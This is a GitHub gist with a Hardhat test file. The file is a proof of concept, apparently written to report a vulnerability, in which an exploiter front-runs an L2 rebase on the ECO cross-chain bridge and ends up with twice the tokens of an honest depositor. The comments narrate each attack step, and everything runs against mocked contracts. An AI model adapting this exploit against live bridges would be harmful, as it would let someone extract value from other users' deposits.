Created
May 25, 2023 14:27
-
-
Save bzpassersby/4e931c537750f9416de1b1d395d2c4d9 to your computer and use it in GitHub Desktop.
L1 MEV attack or L2 sequencer front running
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* eslint-disable camelcase */ | |
import { ethers } from 'hardhat' | |
import { Signer, Contract, constants, BigNumber } from 'ethers' | |
import { smock, FakeContract, MockContract } from '@defi-wonderland/smock' | |
import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers' | |
import * as L1CrossDomainMessenger from '@eth-optimism/contracts/artifacts/contracts/L1/messaging/L1CrossDomainMessenger.sol/L1CrossDomainMessenger.json' | |
import * as L2CrossDomainMessenger from '@eth-optimism/contracts/artifacts/contracts/L2/messaging/L2CrossDomainMessenger.sol/L2CrossDomainMessenger.json' | |
import { expect } from 'chai' | |
import { | |
REGISTRY_DEPLOY_TX, | |
REGISTRY_DEPLOYER_ADDRESS, | |
NON_NULL_BYTES32, | |
} from './utils/constants' | |
import { getContractInterface } from './utils/contracts' | |
import { L2ECO, L2ECOBridge } from '../typechain-types' | |
const DUMMY_L1_ERC20_ADDRESS = '0xACDCacDcACdCaCDcacdcacdCaCdcACdCAcDcaCdc' | |
const DUMMY_PROXY_ADMIN_ADDRESS = '0x1234512345123451234512345123451234512345' | |
const INITIAL_INFLATION_MULTIPLIER = BigNumber.from('1000000000000000000') | |
// 2e18 | |
const INITIAL_TOTAL_L1_SUPPLY = BigNumber.from('2000000000000000000') | |
const FINALIZATION_GAS = 1_200_000 | |
import { AddressZero } from '@ethersproject/constants' | |
import { configureNotifierL2RebasePropoSol } from '../typechain-types/contracts/temp_proposals' | |
describe('L1L2ECOBridge', () => { | |
let l1MessengerImpersonator: SignerWithAddress | |
let l2MessengerImpersonator: SignerWithAddress | |
let alice: SignerWithAddress | |
let bob: SignerWithAddress | |
let exploiter: SignerWithAddress | |
before(async () => { | |
;[l1MessengerImpersonator, alice, bob, l2MessengerImpersonator, exploiter] = | |
await ethers.getSigners() | |
await ( | |
await alice.sendTransaction({ | |
to: REGISTRY_DEPLOYER_ADDRESS, | |
value: ethers.utils.parseEther('0.08'), | |
}) | |
).wait() | |
if (alice.provider) { | |
await (await alice.provider.sendTransaction(REGISTRY_DEPLOY_TX)).wait() | |
} | |
}) | |
let L1ERC20: MockContract<Contract> | |
let L1ECOBridge: MockContract | |
let Fake__L1CrossDomainMessenger: FakeContract | |
let L2ECOBridge: MockContract | |
let MOCK_L2ECO: MockContract<Contract> | |
let Fake__L2CrossDomainMessenger: FakeContract | |
beforeEach(async () => { | |
// Get a new mock L1 messenger | |
Fake__L1CrossDomainMessenger = await smock.fake<Contract>( | |
L1CrossDomainMessenger.abi, | |
{ address: await l1MessengerImpersonator.getAddress() } // This allows us to use an ethers override {from: Mock__L2CrossDomainMessenger.address} to mock calls | |
) | |
// Get a new mock L2 messenger | |
Fake__L2CrossDomainMessenger = await smock.fake<Contract>( | |
L2CrossDomainMessenger.abi, | |
// This allows us to use an ethers override {from: Mock__L2CrossDomainMessenger.address} to mock calls | |
{ address: await l2MessengerImpersonator.getAddress() } | |
) | |
// Deploy an L1 ERC20 | |
L1ERC20 = await ( | |
await smock.mock( | |
'@helix-foundation/currency/contracts/currency/ECO.sol:ECO' | |
) | |
).deploy( | |
DUMMY_L1_ERC20_ADDRESS, | |
alice.address, | |
ethers.utils.parseEther('10000'), | |
alice.address | |
) | |
//Set Alice Token balance | |
await L1ERC20.setVariable('_balances', { | |
[alice.address]: INITIAL_TOTAL_L1_SUPPLY.mul( | |
INITIAL_INFLATION_MULTIPLIER | |
), | |
}) | |
await L1ERC20.setVariable('checkpoints', { | |
[alice.address]: [ | |
{ | |
fromBlock: 0, | |
value: INITIAL_TOTAL_L1_SUPPLY.mul(INITIAL_INFLATION_MULTIPLIER), | |
}, | |
], | |
}) | |
//Set exploiter Token balance | |
await L1ERC20.setVariable('_balances', { | |
[exploiter.address]: INITIAL_TOTAL_L1_SUPPLY.mul( | |
INITIAL_INFLATION_MULTIPLIER | |
), | |
}) | |
await L1ERC20.setVariable('checkpoints', { | |
[exploiter.address]: [ | |
{ | |
fromBlock: 1, | |
value: INITIAL_TOTAL_L1_SUPPLY.mul(INITIAL_INFLATION_MULTIPLIER), | |
}, | |
], | |
}) | |
// Deploy an L2 ERC20 | |
MOCK_L2ECO = await (await smock.mock('L2ECO')).deploy() | |
// Deploy L1 & L2 bridges | |
L1ECOBridge = await (await smock.mock('L1ECOBridge')).deploy() | |
L2ECOBridge = await (await smock.mock('L2ECOBridge')).deploy() | |
await L1ECOBridge.setVariable('_initializing', false) | |
await L2ECOBridge.setVariable('_initializing', false) | |
// Initialize L1 bridge | |
await L1ECOBridge.connect(alice).initialize( | |
Fake__L1CrossDomainMessenger.address, | |
L2ECOBridge.address, | |
L1ERC20.address, | |
MOCK_L2ECO.address, | |
DUMMY_PROXY_ADMIN_ADDRESS, | |
alice.address | |
) | |
// Initialize L2 bridge | |
await L2ECOBridge.initialize( | |
Fake__L2CrossDomainMessenger.address, | |
L1ECOBridge.address, | |
L1ERC20.address, | |
MOCK_L2ECO.address, | |
AddressZero | |
) | |
// Initialize MOCK_L2ECO | |
await MOCK_L2ECO.setVariable('_initializing', false) | |
await MOCK_L2ECO.initialize(L1ERC20.address, L2ECOBridge.address) | |
// set rebase on MOCK_L2ECO the same as L1ERC20 | |
await MOCK_L2ECO.setVariable( | |
'linearInflationMultiplier', | |
INITIAL_INFLATION_MULTIPLIER | |
) | |
}) | |
describe('inflationMultiplier updates MEV attack', () => { | |
// .5e18 | |
const depositAmount = INITIAL_TOTAL_L1_SUPPLY.div(4) | |
beforeEach(async () => { | |
// Test preparation: approve for both Alice and exploiter | |
await L1ERC20.connect(alice).approve(L1ECOBridge.address, depositAmount) | |
await L1ERC20.connect(exploiter).approve( | |
L1ECOBridge.address, | |
depositAmount | |
) | |
}) | |
it.only('inflationMultiplier increases and L2ECO mints before L2Rebase', async () => { | |
// Check initial inflation multiplier equals 1e18 | |
expect(await L1ECOBridge.inflationMultiplier()).to.eq( | |
INITIAL_INFLATION_MULTIPLIER | |
) | |
console.log('initialInflationMultiplier', INITIAL_INFLATION_MULTIPLIER) | |
// log: initialInflationMultiplier 1000000000000000000 | |
////1. L1 inflationMultiplier increase to 2e18 and L2Rebase initiated from L1 | |
//// | |
const newInflationMultiplier = INITIAL_INFLATION_MULTIPLIER.mul(2) | |
if (alice.provider) { | |
await L1ERC20.setVariable('_linearInflationCheckpoints', [ | |
{ | |
fromBlock: (await alice.provider.getBlock('latest')).number, | |
value: newInflationMultiplier, | |
}, | |
]) | |
} | |
await L1ECOBridge.connect(alice).rebase(FINALIZATION_GAS) | |
expect(await L1ECOBridge.inflationMultiplier()).to.eq( | |
newInflationMultiplier.toString() | |
) | |
expect( | |
Fake__L1CrossDomainMessenger.sendMessage.getCall(0).args | |
).to.deep.equal([ | |
L2ECOBridge.address, | |
(await getContractInterface('L2ECOBridge')).encodeFunctionData( | |
'rebase', | |
[newInflationMultiplier] | |
), | |
FINALIZATION_GAS, | |
]) | |
////2. Exploiter seeks exploit higher token balances on L2 prior to L2Rebase: deposit 0.5e18 L1ERC20 to L1ECOBridge | |
//// Exploiter will need to make sure L1 depositERC20to transaction and L2 finalizeDeposit transaction are mined before L2Rebase | |
await L1ECOBridge.connect(exploiter).depositERC20To( | |
L1ERC20.address, | |
MOCK_L2ECO.address, | |
exploiter.address, | |
depositAmount, | |
FINALIZATION_GAS, | |
NON_NULL_BYTES32 | |
) | |
expect( | |
Fake__L1CrossDomainMessenger.sendMessage.getCall(1).args | |
).to.deep.equal([ | |
L2ECOBridge.address, | |
(await getContractInterface('IL2ECOBridge')).encodeFunctionData( | |
'finalizeDeposit', | |
[ | |
L1ERC20.address, | |
MOCK_L2ECO.address, | |
exploiter.address, | |
exploiter.address, | |
depositAmount.mul(newInflationMultiplier), | |
NON_NULL_BYTES32, | |
] | |
), | |
FINALIZATION_GAS, | |
]) | |
expect(await L1ERC20.balanceOf(exploiter.address)).to.equal( | |
'500000000000000000' | |
) | |
expect(await L1ERC20.balanceOf(L1ECOBridge.address)).to.equal( | |
'500000000000000000' | |
) | |
////3. Alice also deposits 0.5e18 L1ERC20 to L1ECOBridge. | |
//// | |
await L1ECOBridge.connect(alice).depositERC20To( | |
L1ERC20.address, | |
MOCK_L2ECO.address, | |
alice.address, | |
depositAmount, | |
FINALIZATION_GAS, | |
NON_NULL_BYTES32 | |
) | |
expect( | |
Fake__L1CrossDomainMessenger.sendMessage.getCall(2).args | |
).to.deep.equal([ | |
L2ECOBridge.address, | |
(await getContractInterface('IL2ECOBridge')).encodeFunctionData( | |
'finalizeDeposit', | |
[ | |
L1ERC20.address, | |
MOCK_L2ECO.address, | |
alice.address, | |
alice.address, | |
depositAmount.mul(newInflationMultiplier), | |
NON_NULL_BYTES32, | |
] | |
), | |
FINALIZATION_GAS, | |
]) | |
expect(await L1ERC20.balanceOf(exploiter.address)).to.equal( | |
'500000000000000000' | |
) | |
expect(await L1ERC20.balanceOf(L1ECOBridge.address)).to.equal( | |
'1000000000000000000' | |
) | |
////4. Exploiter ensures their finalizeDeposit transaction is mined before L2Rebase | |
//// | |
Fake__L2CrossDomainMessenger.xDomainMessageSender.returns( | |
L1ECOBridge.address | |
) | |
await expect( | |
L2ECOBridge.connect(l2MessengerImpersonator).finalizeDeposit( | |
L1ERC20.address, | |
MOCK_L2ECO.address, | |
exploiter.address, | |
exploiter.address, | |
depositAmount.mul(INITIAL_INFLATION_MULTIPLIER), | |
NON_NULL_BYTES32, | |
{ | |
from: Fake__L2CrossDomainMessenger.address, | |
} | |
) | |
) | |
.to.emit(L2ECOBridge, 'DepositFinalized') | |
.withArgs( | |
L1ERC20.address, | |
MOCK_L2ECO.address, | |
exploiter.address, | |
exploiter.address, | |
depositAmount | |
.mul(INITIAL_INFLATION_MULTIPLIER) | |
.div(INITIAL_INFLATION_MULTIPLIER), | |
NON_NULL_BYTES32 | |
) | |
let bal = await MOCK_L2ECO.balanceOf(exploiter.address) | |
expect(bal.toString()).to.equal('500000000000000000') | |
console.log('exploiter balance', bal.toString()) ////exploiter balance:500000000000000000 which is twice Alice's balance whose transaction settled after L2Rebase | |
//// | |
////5. Exploiter trades their L2ECO tokens for stable coins on L2 AMMs, realizing a value before L2Rebase! | |
//// (Code for interacting with external AMM not included in this test...) | |
////6. Exploiter finally settled L2Rebase Transaction onChain | |
//// | |
Fake__L2CrossDomainMessenger.xDomainMessageSender.returns( | |
L1ECOBridge.address | |
) | |
await expect( | |
L2ECOBridge.connect(l2MessengerImpersonator).rebase( | |
newInflationMultiplier | |
) | |
) | |
.to.emit(L2ECOBridge, 'RebaseInitiated') | |
.withArgs(newInflationMultiplier) | |
console.log( | |
'newInflationMultiplier', | |
(await L2ECOBridge.inflationMultiplier()).toString() | |
) // log: newInflationMultiplier 2000000000000000000 | |
expect(await MOCK_L2ECO.linearInflationMultiplier()).to.equal( | |
newInflationMultiplier | |
) | |
////7. Alice's finalizeDeposit is included after exploiter's finalizedDeposit and after L2Rebase | |
//// | |
await expect( | |
L2ECOBridge.connect(l2MessengerImpersonator).finalizeDeposit( | |
L1ERC20.address, | |
MOCK_L2ECO.address, | |
alice.address, | |
alice.address, | |
depositAmount.mul(INITIAL_INFLATION_MULTIPLIER), | |
NON_NULL_BYTES32, | |
{ | |
from: Fake__L2CrossDomainMessenger.address, | |
} | |
) | |
) | |
.to.emit(L2ECOBridge, 'DepositFinalized') | |
.withArgs( | |
L1ERC20.address, | |
MOCK_L2ECO.address, | |
alice.address, | |
alice.address, | |
depositAmount | |
.mul(INITIAL_INFLATION_MULTIPLIER) | |
.div(newInflationMultiplier), | |
NON_NULL_BYTES32 | |
) | |
bal = await MOCK_L2ECO.balanceOf(alice.address) | |
expect(bal.toString()).to.equal('250000000000000000') | |
console.log('alice balance', bal.toString()) | |
////Alice balance:250000000000000000 which is half of the exploiter's balance prior to L2Rebase. | |
////Alice then trades her L2ECO tokens for stable coins on L2 AMMs, realzing only half of the value of the exploiter's trade! | |
}) | |
}) | |
}) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment